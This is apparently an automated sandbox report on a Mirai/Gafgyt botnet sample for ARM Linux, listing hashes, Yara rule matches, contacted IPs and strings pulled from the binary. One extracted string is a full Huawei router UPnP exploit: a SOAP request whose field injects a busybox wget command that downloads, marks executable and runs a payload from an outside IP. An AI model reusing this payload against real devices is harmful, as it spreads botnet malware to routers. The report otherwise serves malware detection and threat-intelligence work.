Linux Analysis Report
r41xp4rOln.elf

Overview

General Information

Sample Name: r41xp4rOln.elf
Original Sample Name: b4a329fd91d515cb3244886b5272503d.elf
Analysis ID: 830737
MD5: b4a329fd91d515cb3244886b5272503d
SHA1: e403940645e7292328eb6b9a7f47c25b08dc228d
SHA256: de5e60ab541838c4c3cb0bfd0733417f2fe4a19bac08683391022cdaabe263de
Tags: 32armelfmirai
Infos:

Detection

Mirai
Score: 64
Range: 0 - 100
Whitelisted: false

Signatures

Malicious sample detected (through community Yara rule)
Yara detected Mirai
Multi AV Scanner detection for submitted file
Yara signature match
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Detected TCP or UDP traffic on non-standard ports
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: r41xp4rOln.elf ReversingLabs: Detection: 58%
Source: r41xp4rOln.elf Virustotal: Detection: 62% Perma Link
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:51628 -> 103.161.181.97:56999
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 103.161.181.97
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: r41xp4rOln.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: r41xp4rOln.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: r41xp4rOln.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6224.1.00007f28d8028000.00007f28d8029000.rw-.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6224.1.00007f28d8017000.00007f28d8021000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: r41xp4rOln.elf PID: 6224, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Yara signature match
Source: r41xp4rOln.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6224.1.00007f28d8028000.00007f28d8029000.rw-.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6224.1.00007f28d8017000.00007f28d8021000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: r41xp4rOln.elf PID: 6224, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample String containing 'busybox' found: bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemdH
Source: classification engine Classification label: mal64.troj.linELF@0/0@0/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/r41xp4rOln.elf (PID: 6224) Queries kernel information via 'uname': Jump to behavior
Source: r41xp4rOln.elf, 6224.1.00007ffdd0b85000.00007ffdd0ba6000.rw-.sdmp Binary or memory string: ~x86_64/usr/bin/qemu-arm/tmp/r41xp4rOln.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/r41xp4rOln.elf
Source: r41xp4rOln.elf, 6224.1.00007ffdd0b85000.00007ffdd0ba6000.rw-.sdmp Binary or memory string: qemu: %s: %s
Source: r41xp4rOln.elf, 6224.1.00007ffdd0b85000.00007ffdd0ba6000.rw-.sdmp Binary or memory string: leqemu: %s: %s
Source: r41xp4rOln.elf, 6224.1.00005633b74e4000.00005633b7612000.rw-.sdmp Binary or memory string: 3V!/etc/qemu-binfmt/arm
Source: r41xp4rOln.elf, 6224.1.00005633b74e4000.00005633b7612000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: r41xp4rOln.elf, 6224.1.00007ffdd0b85000.00007ffdd0ba6000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: r41xp4rOln.elf, 6224.1.00005633b74e4000.00005633b7612000.rw-.sdmp Binary or memory string: rg.qemu.gdb.arm.sys.regs">
Source: r41xp4rOln.elf, 6224.1.00005633b74e4000.00005633b7612000.rw-.sdmp Binary or memory string: 3Vrg.qemu.gdb.arm.sys.regs">

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: r41xp4rOln.elf, type: SAMPLE
Source: Yara match File source: 6224.1.00007f28d8017000.00007f28d8021000.r-x.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: r41xp4rOln.elf, type: SAMPLE
Source: Yara match File source: 6224.1.00007f28d8017000.00007f28d8021000.r-x.sdmp, type: MEMORY

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
109.202.202.202
 unknown Switzerland
13030 INIT7CH false
91.189.91.43
 unknown United Kingdom
41231 CANONICAL-ASGB false
103.161.181.97
 unknown unknown
7575 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe false
91.189.91.42
 unknown United Kingdom
41231 CANONICAL-ASGB false